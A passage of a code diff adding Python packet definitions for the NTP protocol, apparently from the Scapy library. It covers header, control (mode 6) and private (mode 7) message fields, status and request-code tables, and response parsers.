+    #  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+    #  |                                                               |
+    #  .                                                               .
+    #  .                    Extension Field 1 (variable)               .
+    #  .                                                               .
+    #  |                                                               |
+    #  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+    #  |                                                               |
+    #  .                                                               .
+    #  .                    Extension Field 2 (variable)               .
+    #  .                                                               .
+    #  |                                                               |
+    #  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+    #  |                          Key Identifier                       |
+    #  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+    #  |                                                               |
+    #  |                            dgst (128)                         |
+    #  |                                                               |
+    #  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+    #
+    #                  Figure 8: Packet Header Format
+    #________________________________________________________________________
+    #
+
+    name = "NTPHeader"
+    fields_desc = [
+        BitEnumField("leap", 0, 2, _leap_indicator),
+        BitField("version", 4, 3),
+        BitEnumField("mode", 3, 3, _ntp_modes),
+        BitField("stratum", 2, 8),
+        BitField("poll", 0xa, 8),
+        BitField("precision", 0, 8),
+        FixedPointField("delay", 0, size=32, frac_bits=16),
+        FixedPointField("dispersion", 0, size=32, frac_bits=16),
+        ConditionalField(IPField("id", "127.0.0.1"), lambda p: p.stratum > 1),
+        ConditionalField(
+            StrFixedLenEnumField(
+                "ref_id",
+                "",
+                length=4,
+                enum=_reference_identifiers
+            ),
+            lambda p: p.stratum < 2
+        ),
+        TimeStampField("ref", 0),
+        TimeStampField("orig", None),
+        TimeStampField("recv", 0),
+        TimeStampField("sent", None),
+    ]
+
+    def guess_payload_class(self, payload):
+        """
+        Handles NTPv4 extensions and MAC part (when authentication is used.)
+        """
+        plen = len(payload)
+
+        if plen > _NTP_AUTH_MD5_TAIL_SIZE:
+            return NTPExtensions
+        elif plen == _NTP_AUTH_MD5_TAIL_SIZE:
+            return NTPAuthenticator
+
+        return Packet.guess_payload_class(self, payload)
+
+
+class _NTPInvalidDataException(Exception):
+    """
+    Raised when it is not possible to instantiate a NTP packet with the
+    given data.
+    """
+
+    def __init__(self, details):
+        Exception.__init__(
+            self,
+            "Data does not seem to be a valid NTP message" + details
+        )
+
+
+##############################################################################
+##### Private (mode 7)
+##############################################################################
+
+# Operation codes
+_op_codes = {
+    0: "CTL_OP_UNSPEC",
+    1: "CTL_OP_READSTAT",
+    2: "CTL_OP_READVAR",
+    3: "CTL_OP_WRITEVAR",
+    4: "CTL_OP_READCLOCK",
+    5: "CTL_OP_WRITECLOCK",
+    6: "CTL_OP_SETTRAP",
+    7: "CTL_OP_ASYNCMSG",
+    8: "CTL_OP_CONFIGURE",
+    9: "CTL_OP_SAVECONFIG",
+    10: "CTL_OP_READ_MRU",
+    11: "CTL_OP_READ_ORDLIST_A",
+    12: "CTL_OP_REQ_NONCE",
+    31: "CTL_OP_UNSETTRAP"
+}
+
+
+# System status words
+_system_statuses = {
+    0: "no warning",
+    1: "last minute was 61 seconds",
+    2: "last minute was 59 seconds",
+    3: "alarm condition (clock not synchronized)"
+}
+
+
+_clock_sources = {
+    0: "unspecified or unknown",
+    1: " Calibrated atomic clock",
+    2: "VLF (band 4) or LF (band 5) radio",
+    3: "HF (band 7) radio",
+    4: "UHF (band 9) satellite",
+    5: "local net",
+    6: "UDP/NTP",
+    7: "UDP/TIME",
+    8: "eyeball-and-wristwatch",
+    9: "telephone modem"
+}
+
+
+_system_event_codes = {
+    0: "unspecified",
+    1: "system restart",
+    2: "system or hardware fault",
+    3: "system new status word (leap bits or synchronization change)",
+    4: "system new synchronization source or stratum (sys.peer or sys.stratum change)",
+    5: "system clock reset (offset correction exceeds CLOCK.MAX)",
+    6: "system invalid time or date",
+    7: "system clock exception",
+}
+
+
+# Peer status words
+_peer_statuses = {
+    0: "configured",
+    1: "authentication enabled",
+    2: "authentication okay",
+    3: "reachability okay",
+    4: "reserved"
+}
+
+
+_peer_selection = {
+    0: "rejected",
+    1: "passed sanity checks",
+    2: "passed correctness checks",
+    3: "passed candidate checks",
+    4: "passed outlyer checks",
+    5: "current synchronization source; max distance exceeded",
+    6: "current synchronization source; max distance okay",
+    7: "reserved"
+}
+
+
+_peer_event_codes = {
+    0: "unspecified",
+    1: "peer IP error",
+    2: "peer authentication failure",
+    3: "peer unreachable",
+    4: "peer reachable",
+    5: "peer clock exception",
+}
+
+
+# Clock status words
+_clock_statuses = {
+    0: "clock operating within nominals",
+    1: "reply timeout",
+    2: "bad reply format",
+    3: "hardware or software fault",
+    4: "propagation failure",
+    5: "bad date format or value",
+    6: "bad time format or value"
+}
+
+
+# Error status words
+_error_statuses = {
+    0: "unspecified",
+    1: "authentication failure",
+    2: "invalid message length or format",
+    3: "invalid opcode",
+    4: "unknown association identifier",
+    5: "unknown variable name",
+    6: "invalid variable value",
+    7: "administratively prohibited"
+}
+
+
+class NTPStatusPacket(Packet):
+    """
+    Packet handling a non specific status word.
+    """
+
+    name = "status"
+    fields_desc = [ShortField("status", 0)]
+
+    def extract_padding(self, s):
+        return b"", s
+
+
+class NTPSystemStatusPacket(Packet):
+
+    """
+    Packet handling the system status fields.
+    """
+
+    name = "system status"
+    fields_desc = [
+        BitEnumField("leap_indicator", 0, 2, _system_statuses),
+        BitEnumField("clock_source", 0, 6, _clock_sources),
+        BitField("system_event_counter", 0, 4),
+        BitEnumField("system_event_code", 0, 4, _system_event_codes),
+    ]
+
+    def extract_padding(self, s):
+        return b"", s
+
+
+class NTPPeerStatusPacket(Packet):
+    """
+    Packet handling the peer status fields.
+    """
+
+    name = "peer status"
+    fields_desc = [
+        BitField("configured", 0, 1),
+        BitField("auth_enabled", 0, 1),
+        BitField("authentic", 0, 1),
+        BitField("reachability", 0, 1),
+        BitField("reserved", 0, 1),
+        BitEnumField("peer_sel", 0, 3, _peer_selection),
+        BitField("peer_event_counter", 0, 4),
+        BitEnumField("peer_event_code", 0, 4, _peer_event_codes),
+    ]
+
+    def extract_padding(self, s):
+        return b"", s
+
+
+class NTPClockStatusPacket(Packet):
+    """
+    Packet handling the clock status fields.
+    """
+
+    name = "clock status"
+    fields_desc = [
+        BitEnumField("clock_status", 0, 8, _clock_statuses),
+        BitField("code", 0, 8)
+    ]
+
+    def extract_padding(self, s):
+        return b"", s
+
+
+class NTPErrorStatusPacket(Packet):
+    """
+    Packet handling the error status fields.
+    """
+
+    name = "error status"
+    fields_desc = [
+        BitEnumField("error_code", 0, 8, _error_statuses),
+        BitField("reserved", 0, 8)
+    ]
+
+    def extract_padding(self, s):
+        return b"", s
+
+
+class NTPControlStatusField(PacketField):
+    """
+    This field provides better readability for the "status" field.
+    """
+
+    #________________________________________________________________________
+    #
+    # RFC 1305
+    #________________________________________________________________________
+    #
+    # Appendix B.3. Commands // ntpd source code: ntp_control.h
+    #________________________________________________________________________
+    #
+
+    def m2i(self, pkt, m):
+        ret = None
+        association_id = struct.unpack("!H", m[2:4])[0]
+
+        if pkt.err == 1:
+            ret = NTPErrorStatusPacket(m)
+
+        # op_code == CTL_OP_READSTAT
+        elif pkt.op_code == 1:
+            if association_id != 0:
+                ret = NTPPeerStatusPacket(m)
+            else:
+                ret = NTPSystemStatusPacket(m)
+
+        # op_code == CTL_OP_READVAR
+        elif pkt.op_code == 2:
+            if association_id != 0:
+                ret = NTPPeerStatusPacket(m)
+            else:
+                ret = NTPSystemStatusPacket(m)
+
+        # op_code == CTL_OP_WRITEVAR
+        elif pkt.op_code == 3:
+            ret = NTPStatusPacket(m)
+
+        # op_code == CTL_OP_READCLOCK or op_code == CTL_OP_WRITECLOCK
+        elif pkt.op_code == 4 or pkt.op_code == 5:
+            ret = NTPClockStatusPacket(m)
+
+        else:
+            ret = NTPStatusPacket(m)
+
+        return ret
+
+
+class NTPPeerStatusDataPacket(Packet):
+    """
+    Packet handling the data field when op_code is CTL_OP_READSTAT
+    and the association_id field is null.
+    """
+
+    name = "data / peer status"
+    fields_desc = [
+        ShortField("association_id", 0),
+        PacketField("peer_status", NTPPeerStatusPacket(), NTPPeerStatusPacket),
+    ]
+
+
+class NTPControlDataPacketLenField(PacketLenField):
+
+    """
+    PacketField handling the "data" field of NTP control messages.
+    """
+
+    def m2i(self, pkt, m):
+        ret = None
+
+        # op_code == CTL_OP_READSTAT
+        if pkt.op_code == 1:
+            if pkt.association_id == 0:
+                # Data contains association ID and peer status
+                ret = NTPPeerStatusDataPacket(m)
+            else:
+                ret = conf.raw_layer(m)
+        else:
+            ret = conf.raw_layer(m)
+
+        return ret
+
+    def getfield(self, pkt, s):
+        length = self.length_from(pkt)
+        i = None
+        if length > 0:
+            # RFC 1305
+            # The maximum number of data octets is 468.
+            #
+            # include/ntp_control.h
+            # u_char data[480 + MAX_MAC_LEN]; /* data + auth */
+            #
+            # Set the minimum length to 480 - 468
+            length = max(12, length)
+            if length % 4:
+                length += (4 - length % 4)
+        try:
+            i = self.m2i(pkt, s[:length])
+        except Exception:
+            if conf.debug_dissector:
+                raise
+            i = conf.raw_layer(load=s[:length])
+        return s[length:], i
+
+
+class NTPControl(NTP):
+    """
+    Packet handling NTP mode 6 / "Control" messages.
+    """
+
+    #________________________________________________________________________
+    #
+    # RFC 1305
+    #________________________________________________________________________
+    #
+    # Appendix B.3. Commands // ntpd source code: ntp_control.h
+    #________________________________________________________________________
+    #
+
+    name = "Control message"
+    fields_desc = [
+        BitField("zeros", 0, 2),
+        BitField("version", 2, 3),
+        BitField("mode", 6, 3),
+        BitField("response", 0, 1),
+        BitField("err", 0, 1),
+        BitField("more", 0, 1),
+        BitEnumField("op_code", 0, 5, _op_codes),
+        ShortField("sequence", 0),
+        ConditionalField(NTPControlStatusField(
+            "status_word", "", Packet), lambda p: p.response == 1),
+        ConditionalField(ShortField("status", 0), lambda p: p.response == 0),
+        ShortField("association_id", 0),
+        ShortField("offset", 0),
+        ShortField("count", None),
+        NTPControlDataPacketLenField(
+            "data", "", Packet, length_from=lambda p: p.count),
+        PacketField("authenticator", "", NTPAuthenticator),
+    ]
+
+    def post_build(self, p, pay):
+        if self.count is None:
+            length = 0
+            if self.data:
+                length = len(self.data)
+            p = p[:11] + struct.pack("!H", length) + p[13:]
+        return p + pay
+
+
+##############################################################################
+##### Private (mode 7)
+##############################################################################
+
+_information_error_codes = {
+    0: "INFO_OKAY",
+    1: "INFO_ERR_IMPL",
+    2: "INFO_ERR_REQ",
+    3: "INFO_ERR_FMT",
+    4: "INFO_ERR_NODATA",
+    7: "INFO_ERR_AUTH"
+}
+
+
+_implementations = {
+    0: "IMPL_UNIV",
+    2: "IMPL_XNTPD_OLD",
+    3: "XNTPD"
+}
+
+
+_request_codes = {
+    0: "REQ_PEER_LIST",
+    1: "REQ_PEER_LIST_SUM",
+    2: "REQ_PEER_INFO",
+    3: "REQ_PEER_STATS",
+    4: "REQ_SYS_INFO",
+    5: "REQ_SYS_STATS",
+    6: "REQ_IO_STATS",
+    7: "REQ_MEM_STATS",
+    8: "REQ_LOOP_INFO",
+    9: "REQ_TIMER_STATS",
+    10: "REQ_CONFIG",
+    11: "REQ_UNCONFIG",
+    12: "REQ_SET_SYS_FLAG",
+    13: "REQ_CLR_SYS_FLAG",
+    14: "REQ_MONITOR",
+    15: "REQ_NOMONITOR",
+    16: "REQ_GET_RESTRICT",
+    17: "REQ_RESADDFLAGS",
+    18: "REQ_RESSUBFLAGS",
+    19: "REQ_UNRESTRICT",
+    20: "REQ_MON_GETLIST",
+    21: "REQ_RESET_STATS",
+    22: "REQ_RESET_PEER",
+    23: "REQ_REREAD_KEYS",
+    24: "REQ_DO_DIRTY_HACK",
+    25: "REQ_DONT_DIRTY_HACK",
+    26: "REQ_TRUSTKEY",
+    27: "REQ_UNTRUSTKEY",
+    28: "REQ_AUTHINFO",
+    29: "REQ_TRAPS",
+    30: "REQ_ADD_TRAP",
+    31: "REQ_CLR_TRAP",
+    32: "REQ_REQUEST_KEY",
+    33: "REQ_CONTROL_KEY",
+    34: "REQ_GET_CTLSTATS",
+    35: "REQ_GET_LEAPINFO",
+    36: "REQ_GET_CLOCKINFO",
+    37: "REQ_SET_CLKFUDGE",
+    38: "REQ_GET_KERNEL",
+    39: "REQ_GET_CLKBUGINFO",
+    41: "REQ_SET_PRECISION",
+    42: "REQ_MON_GETLIST_1",
+    43: "REQ_HOSTNAME_ASSOCID",
+    44: "REQ_IF_STATS",
+    45: "REQ_IF_RELOAD"
+}
+
+
+# Flags in the peer information returns
+_peer_flags = [
+    "INFO_FLAG_CONFIG",
+    "INFO_FLAG_SYSPEER",
+    "INFO_FLAG_BURST",
+    "INFO_FLAG_REFCLOCK",
+    "INFO_FLAG_PREFER",
+    "INFO_FLAG_AUTHENABLE",
+    "INFO_FLAG_SEL_CANDIDATE",
+    "INFO_FLAG_SHORTLIST",
+    "INFO_FLAG_IBURST"
+]
+
+
+# Flags in the system information returns
+_sys_info_flags = [
+    "INFO_FLAG_BCLIENT",
+    "INFO_FLAG_AUTHENTICATE",
+    "INFO_FLAG_NTP",
+    "INFO_FLAG_KERNEL",
+    "INFO_FLAG_CAL",
+    "INFO_FLAG_PPS_SYNC",
+    "INFO_FLAG_MONITOR",
+    "INFO_FLAG_FILEGEN",
+]
+
+
+class NTPInfoPeerList(Packet):
+
+    """
+    Used to return raw lists of peers.
+    """
+    name = "info_peer_list"
+    fields_desc = [
+        IPField("addr", "0.0.0.0"),
+        ShortField("port", 0),
+        ByteEnumField("hmode", 0, _ntp_modes),
+        FlagsField("flags", 0, 8, _peer_flags),
+        IntField("v6_flag", 0),
+        IntField("unused1", 0),
+        IP6Field("addr6", "::")
+    ]
+
+
+class NTPInfoPeerSummary(Packet):
+    """
+    Sort of the info that ntpdc returns by default.
+    """
+    name = "info_peer_summary"
+    fields_desc = [
+        IPField("dstaddr", "0.0.0.0"),
+        IPField("srcaddr", "0.0.0.0"),
+        ShortField("srcport", 0),
+        ByteField("stratum", 0),
+        ByteField("hpoll", 0),
+        ByteField("ppoll", 0),
+        ByteField("reach", 0),
+        FlagsField("flags", 0, 8, _peer_flags),
+        ByteField("hmode", _ntp_modes),
+        FixedPointField("delay", 0, size=32, frac_bits=16),
+        TimeStampField("offset", 0),
+        FixedPointField("dispersion", 0, size=32, frac_bits=16),
+        IntField("v6_flag", 0),
+        IntField("unused1", 0),
+        IP6Field("dstaddr6", "::"),
+        IP6Field("srcaddr6", "::")
+    ]
+
+
+class NTPInfoPeer(Packet):
+    """
+    Peer information structure.
+    """
+
+    name = "info_peer"
+    fields_desc = [
+        IPField("dstaddr", "0.0.0.0"),
+        IPField("srcaddr", "0.0.0.0"),
+        ShortField("srcport", 0),
+        FlagsField("flags", 0, 8, _peer_flags),
+        ByteField("leap", 0),
+        ByteEnumField("hmode", 0, _ntp_modes),
+        ByteField("pmode", 0),
+        ByteField("stratum", 0),
+        ByteField("ppoll", 0),
+        ByteField("hpoll", 0),
+        SignedByteField("precision", 0),
+        ByteField("version", 0),
+        ByteField("unused8", 0),
+        ByteField("reach", 0),
+        ByteField("unreach", 0),
+        XByteField("flash", 0),
+        ByteField("ttl", 0),
+        XLEShortField("flash2", 0),
+        ShortField("associd", 0),
+        LEIntField("keyid", 0),
+        IntField("pkeyid", 0),
+        IPField("refid", 0),
+        IntField("timer", 0),
+        FixedPointField("rootdelay", 0, size=32, frac_bits=16),
+        FixedPointField("rootdispersion", 0, size=32, frac_bits=16),
+        TimeStampField("reftime", 0),
+        TimeStampField("org", 0),
+        TimeStampField("rec", 0),
+        TimeStampField("xmt", 0),
+        FieldListField(
+            "filtdelay",
+            [0.0 for i in range(0, _NTP_SHIFT)],
+            FixedPointField("", 0, size=32, frac_bits=16),
+            count_from=lambda p: _NTP_SHIFT
+        ),
+        FieldListField(
+            "filtoffset",
+            [0.0 for i in range(0, _NTP_SHIFT)],
+            TimeStampField("", 0),
+            count_from=lambda p: _NTP_SHIFT
+        ),
+        FieldListField(
+            "order",
+            [0 for i in range(0, _NTP_SHIFT)],
+            ByteField("", 0),
+            count_from=lambda p: _NTP_SHIFT
+        ),
+        FixedPointField("delay", 0, size=32, frac_bits=16),
+        FixedPointField("dispersion", 0, size=32, frac_bits=16),
+        TimeStampField("offset", 0),
+        FixedPointField("selectdisp", 0, size=32, frac_bits=16),
+        IntField("unused1", 0),
+        IntField("unused2", 0),
+        IntField("unused3", 0),
+        IntField("unused4", 0),
+        IntField("unused5", 0),
+        IntField("unused6", 0),
+        IntField("unused7", 0),
+        FixedPointField("estbdelay", 0, size=32, frac_bits=16),
+        IntField("v6_flag", 0),
+        IntField("unused9", 0),
+        IP6Field("dstaddr6", "::"),
+        IP6Field("srcaddr6", "::"),
+    ]
+
+
+class NTPInfoPeerStats(Packet):
+    """
+    Peer statistics structure.
+    """
+
+    name = "info_peer_stats"
+    fields_desc = [
+        IPField("dstaddr", "0.0.0.0"),
+        IPField("srcaddr", "0.0.0.0"),
+        ShortField("srcport", 0),
+        FlagsField("flags", 0, 16, _peer_flags),
+        IntField("timereset", 0),
+        IntField("timereceived", 0),
+        IntField("timetosend", 0),
+        IntField("timereachable", 0),
+        IntField("sent", 0),
+        IntField("unused1", 0),
+        IntField("processed", 0),
+        IntField("unused2", 0),
+        IntField("badauth", 0),
+        IntField("bogusorg", 0),
+        IntField("oldpkt", 0),
+        IntField("unused3", 0),
+        IntField("unused4", 0),
+        IntField("seldisp", 0),
+        IntField("selbroken", 0),
+        IntField("unused5", 0),
+        ByteField("candidate", 0),
+        ByteField("unused6", 0),
+        ByteField("unused7", 0),
+        ByteField("unused8", 0),
+        IntField("v6_flag", 0),
+        IntField("unused9", 0),
+        IP6Field("dstaddr6", "::"),
+        IP6Field("srcaddr6", "::"),
+    ]
+
+
+class NTPInfoLoop(Packet):
+    """
+    Loop filter variables.
+    """
+
+    name = "info_loop"
+    fields_desc = [
+        TimeStampField("last_offset", 0),
+        TimeStampField("drift_comp", 0),
+        IntField("compliance", 0),
+        IntField("watchdog_timer", 0)
+    ]
+
+
+class NTPInfoSys(Packet):
+    """
+    System info. Mostly the sys.* variables, plus a few unique to
+    the implementation.
+    """
+
+    name = "info_sys"
+    fields_desc = [
+        IPField("peer", "0.0.0.0"),
+        ByteField("peer_mode", 0),
+        ByteField("leap", 0),
+        ByteField("stratum", 0),
+        ByteField("precision", 0),
+        FixedPointField("rootdelay", 0, size=32, frac_bits=16),
+        FixedPointField("rootdispersion", 0, size=32, frac_bits=16),
+        IPField("refid", 0),
+        TimeStampField("reftime", 0),
+        IntField("poll", 0),
+        FlagsField("flags", 0, 8, _sys_info_flags),
+        ByteField("unused1", 0),
+        ByteField("unused2", 0),
+        ByteField("unused3", 0),
+        FixedPointField("bdelay", 0, size=32, frac_bits=16),
+        FixedPointField("frequency", 0, size=32, frac_bits=16),
+        TimeStampField("authdelay", 0),
+        FixedPointField("stability", 0, size=32, frac_bits=16),
+        IntField("v6_flag", 0),
+        IntField("unused4", 0),
+        IP6Field("peer6", "::")
+    ]
+
+
+class NTPInfoSysStats(Packet):
+    """
+    System stats. These are collected in the protocol module.
+    """
+
+    name = "info_sys_stats"
+    fields_desc = [
+        IntField("timeup", 0),
+        IntField("timereset", 0),
+        IntField("denied", 0),
+        IntField("oldversionpkt", 0),
+        IntField("newversionpkt", 0),
+        IntField("unknownversion", 0),
+        IntField("badlength", 0),
+        IntField("processed", 0),
+        IntField("badauth", 0),
+        IntField("received", 0),
+        IntField("limitrejected", 0)
+    ]
+
+
+class NTPInfoMemStats(Packet):
+    """
+    Peer memory statistics.
+    """
+
+    name = "info_mem_stats"
+    fields_desc = [
+        IntField("timereset", 0),
+        ShortField("totalpeermem", 0),
+        ShortField("freepeermem", 0),
+        IntField("findpeer_calls", 0),
+        IntField("allocations", 0),
+        IntField("demobilizations", 0),
+        FieldListField(
+            "hashcount",
+            [0.0 for i in range(0, _NTP_HASH_SIZE)],
+            ByteField("", 0),
+            count_from=lambda p: _NTP_HASH_SIZE
+        )
+    ]
+
+
+class NTPInfoIOStats(Packet):
+    """
+    I/O statistics.
+    """
+
+    name = "info_io_stats"
+    fields_desc = [
+        IntField("timereset", 0),
+        ShortField("totalrecvbufs", 0),
+        ShortField("freerecvbufs", 0),
+        ShortField("fullrecvbufs", 0),
+        ShortField("lowwater", 0),
+        IntField("dropped", 0),
+        IntField("ignored", 0),
+        IntField("received", 0),
+        IntField("sent", 0),
+        IntField("notsent", 0),
+        IntField("interrupts", 0),
+        IntField("int_received", 0)
+    ]
+
+
+class NTPInfoTimerStats(Packet):
+    """
+    Timer stats.
+    """
+
+    name = "info_timer_stats"
+    fields_desc = [
+        IntField("timereset", 0),
+        IntField("alarms", 0),
+        IntField("overflows", 0),
+        IntField("xmtcalls", 0),
+    ]
+
+
+_conf_peer_flags = [
+    "CONF_FLAG_AUTHENABLE",
+    "CONF_FLAG_PREFER",
+    "CONF_FLAG_BURST",
+    "CONF_FLAG_IBURST",
+    "CONF_FLAG_NOSELECT",
+    "CONF_FLAG_SKEY"
+]
+
+
+class NTPConfPeer(Packet):
+    """
+    Structure for passing peer configuration information.
+    """
+
+    name = "conf_peer"
+    fields_desc = [
+        IPField("peeraddr", "0.0.0.0"),
+        ByteField("hmode", 0),
+        ByteField("version", 0),
+        ByteField("minpoll", 0),
+        ByteField("maxpoll", 0),
+        FlagsField("flags", 0, 8, _conf_peer_flags),
+        ByteField("ttl", 0),
+        ShortField("unused1", 0),
+        IntField("keyid", 0),
+        StrFixedLenField("keystr", "", length=128),
+        IntField("v6_flag", 0),
+        IntField("unused2", 0),
+        IP6Field("peeraddr6", "::")
+    ]
+
+
+class NTPConfUnpeer(Packet):
+    """
+    Structure for passing peer deletion information.
+    """
+
+    name = "conf_unpeer"
+    fields_desc = [
+        IPField("peeraddr", "0.0.0.0"),
+        IntField("v6_flag", 0),
+        IP6Field("peeraddr6", "::")
+    ]
+
+
+_restrict_flags = [
+    "RES_IGNORE",
+    "RES_DONTSERVE",
+    "RES_DONTTRUST",
+    "RES_VERSION",
+    "RES_NOPEER",
+    "RES_LIMITED",
+    "RES_NOQUERY",
+    "RES_NOMODIFY",
+    "RES_NOTRAP",
+    "RES_LPTRAP",
+    "RES_KOD",
+    "RES_MSSNTP",
+    "RES_FLAKE",
+    "RES_NOMRULIST",
+]
+
+
+class NTPConfRestrict(Packet):
+    """
+    Structure used for specifying restrict entries.
+    """
+
+    name = "conf_restrict"
+    fields_desc = [
+        IPField("addr", "0.0.0.0"),
+        IPField("mask", "0.0.0.0"),
+        FlagsField("flags", 0, 16, _restrict_flags),
+        ShortField("m_flags", 0),
+        IntField("v6_flag", 0),
+        IP6Field("addr6", "::"),
+        IP6Field("mask6", "::")
+    ]
+
+
+class NTPInfoKernel(Packet):
+    """
+    Structure used for returning kernel pll/PPS information
+    """
+
+    name = "info_kernel"
+    fields_desc = [
+        IntField("offset", 0),
+        IntField("freq", 0),
+        IntField("maxerror", 0),
+        IntField("esterror", 0),
+        ShortField("status", 0),
+        ShortField("shift", 0),
+        IntField("constant", 0),
+        IntField("precision", 0),
+        IntField("tolerance", 0),
+        IntField("ppsfreq", 0),
+        IntField("jitter", 0),
+        IntField("stabil", 0),
+        IntField("jitcnt", 0),
+        IntField("calcnt", 0),
+        IntField("errcnt", 0),
+        IntField("stbcnt", 0),
+    ]
+
+
+class NTPInfoIfStatsIPv4(Packet):
+    """
+    Interface statistics.
+    """
+
+    name = "info_if_stats"
+    fields_desc = [
+        PadField(IPField("unaddr", "0.0.0.0"), 16, padwith=b"\x00"),
+        PadField(IPField("unbcast", "0.0.0.0"), 16, padwith=b"\x00"),
+        PadField(IPField("unmask", "0.0.0.0"), 16, padwith=b"\x00"),
+        IntField("v6_flag", 0),
+        StrFixedLenField("ifname", "", length=32),
+        IntField("flags", 0),
+        IntField("last_ttl", 0),
+        IntField("num_mcast", 0),
+        IntField("received", 0),
+        IntField("sent", 0),
+        IntField("notsent", 0),
+        IntField("uptime", 0),
+        IntField("scopeid", 0),
+        IntField("ifindex", 0),
+        IntField("ifnum", 0),
+        IntField("peercnt", 0),
+        ShortField("family", 0),
+        ByteField("ignore_packets", 0),
+        ByteField("action", 0),
+        IntField("_filler0", 0)
+    ]
+
+
+class NTPInfoIfStatsIPv6(Packet):
+    """
+    Interface statistics.
+    """
+
+    name = "info_if_stats"
+    fields_desc = [
+        IP6Field("unaddr", "::"),
+        IP6Field("unbcast", "::"),
+        IP6Field("unmask", "::"),
+        IntField("v6_flag", 0),
+        StrFixedLenField("ifname", "", length=32),
+        IntField("flags", 0),
+        IntField("last_ttl", 0),
+        IntField("num_mcast", 0),
+        IntField("received", 0),
+        IntField("sent", 0),
+        IntField("notsent", 0),
+        IntField("uptime", 0),
+        IntField("scopeid", 0),
+        IntField("ifindex", 0),
+        IntField("ifnum", 0),
+        IntField("peercnt", 0),
+        ShortField("family", 0),
+        ByteField("ignore_packets", 0),
+        ByteField("action", 0),
+        IntField("_filler0", 0)
+    ]
+
+
+class NTPInfoMonitor1(Packet):
+    """
+    Structure used for returning monitor data.
+    """
+
+    name = "InfoMonitor1"
+    fields_desc = [
+        IntField("lasttime", 0),
+        IntField("firsttime", 0),
+        IntField("lastdrop", 0),
+        IntField("count", 0),
+        IPField("addr", "0.0.0.0"),
+        IPField("daddr", "0.0.0.0"),
+        IntField("flags", 0),
+        ShortField("port", 0),
+        ByteField("mode", 0),
+        ByteField("version", 0),
+        IntField("v6_flag", 0),
+        IntField("unused1", 0),
+        IP6Field("addr6", "::"),
+        IP6Field("daddr6", "::")
+    ]
+
+
+class NTPInfoAuth(Packet):
+    """
+    Structure used to return information concerning the authentication module.
+    """
+
+    name = "info_auth"
+    fields_desc = [
+        IntField("timereset", 0),
+        IntField("numkeys", 0),
+        IntField("numfreekeys", 0),
+        IntField("keylookups", 0),
+        IntField("keynotfound", 0),
+        IntField("encryptions", 0),
+        IntField("decryptions", 0),
+        IntField("expired", 0),
+        IntField("keyuncached", 0),
+    ]
+
+
+class NTPConfTrap(Packet):
+    """
+    Structure used to pass add/clear trap information to the client
+    """
+
+    name = "conf_trap"
+    fields_desc = [
+        IPField("local_address", "0.0.0.0"),
+        IPField("trap_address", "0.0.0.0"),
+        ShortField("trap_port", 0),
+        ShortField("unused", 0),
+        IntField("v6_flag", 0),
+        IP6Field("local_address6", "::"),
+        IP6Field("trap_address6", "::"),
+    ]
+
+
+class NTPInfoControl(Packet):
+    """
+    Structure used to return statistics from the control module.
+    """
+
+    name = "info_control"
+    fields_desc = [
+        IntField("ctltimereset", 0),
+        IntField("numctlreq", 0),
+        IntField("numctlbadpkts", 0),
+        IntField("numctlresponses", 0),
+        IntField("numctlfrags", 0),
+        IntField("numctlerrors", 0),
+        IntField("numctltooshort", 0),
+        IntField("numctlinputresp", 0),
+        IntField("numctlinputfrag", 0),
+        IntField("numctlinputerr", 0),
+        IntField("numctlbadoffset", 0),
+        IntField("numctlbadversion", 0),
+        IntField("numctldatatooshort", 0),
+        IntField("numctlbadop", 0),
+        IntField("numasyncmsgs", 0),
+    ]
+
+
+# ntp_request.h
+_ntpd_private_errors = {
+    0: "no error",
+    1: "incompatible implementation number",
+    2: "unimplemented request code",
+    3: "format error (wrong data items, data size, packet size etc.)",
+    4: "no data available (e.g. request for details on unknown peer)",
+    5: "I don\"t know",
+    6: "I don\"t know",
+    7: "authentication failure (i.e. permission denied)",
+}
+
+
+# dict mapping request codes to the right response data class
+_private_data_objects = {
+    0: NTPInfoPeerList,  # "REQ_PEER_LIST",
+    1: NTPInfoPeerSummary,  # "REQ_PEER_LIST_SUM",
+    2: NTPInfoPeer,  # "REQ_PEER_INFO",
+    3: NTPInfoPeerStats,  # "REQ_PEER_STATS",
+    4: NTPInfoSys,  # "REQ_SYS_INFO",
+    5: NTPInfoSysStats,  # "REQ_SYS_STATS",
+    6: NTPInfoIOStats,  # "REQ_IO_STATS",
+    7: NTPInfoMemStats,  # "REQ_MEM_STATS",
+    8: NTPInfoLoop,  # "REQ_LOOP_INFO",
+    9: NTPInfoTimerStats,  # "REQ_TIMER_STATS",
+    10: NTPConfPeer,  # "REQ_CONFIG",
+    11: NTPConfUnpeer,  # "REQ_UNCONFIG",
+    28: NTPInfoAuth,  # "REQ_AUTHINFO",
+    30: NTPConfTrap,  # "REQ_ADD_TRAP",
+    34: NTPInfoControl,  # "REQ_GET_CTLSTATS",
+    38: NTPInfoKernel,  # "REQ_GET_KERNEL",
+    42: NTPInfoMonitor1,  # "REQ_MON_GETLIST_1",
+}
+
+
+class NTPPrivateRespPacketListField(PacketListField):
+    """
+    PacketListField handling the response data.
+    """
+
+    def m2i(self, pkt, s):
+        ret = None
+
+        # info_if_stats
+        if pkt.request_code == 44 or pkt.request_code == 45:
+            is_v6 = struct.unpack("!I", s[48:52])[0]
+            ret = NTPInfoIfStatsIPv6(s) if is_v6 else NTPInfoIfStatsIPv4(s)
+        else:
+            ret = _private_data_objects.get(pkt.request_code, conf.raw_layer)(s)
+
+        return ret
+
+    def getfield(self, pkt, s):
+        lst = []
+        remain = s
+        length = pkt.data_item_size
+        if length > 0:
+            item_counter = 0
+            # Response payloads can be placed in several packets
+            while len(remain) >= pkt.data_item_size and item_counter < pkt.nb_items:
+                current = remain[:length]
+                remain = remain[length:]
+                current_packet = self.m2i(pkt, current)
+                lst.append(current_packet)
+                item_counter += 1
+
+        return remain, lst
+
+
+class NTPPrivateReqPacket(Packet):
+    """
+    Packet handling request data.
+    """
+
+    name = "request data"
+    fields_desc = [StrField("req_data", "")]
+
+
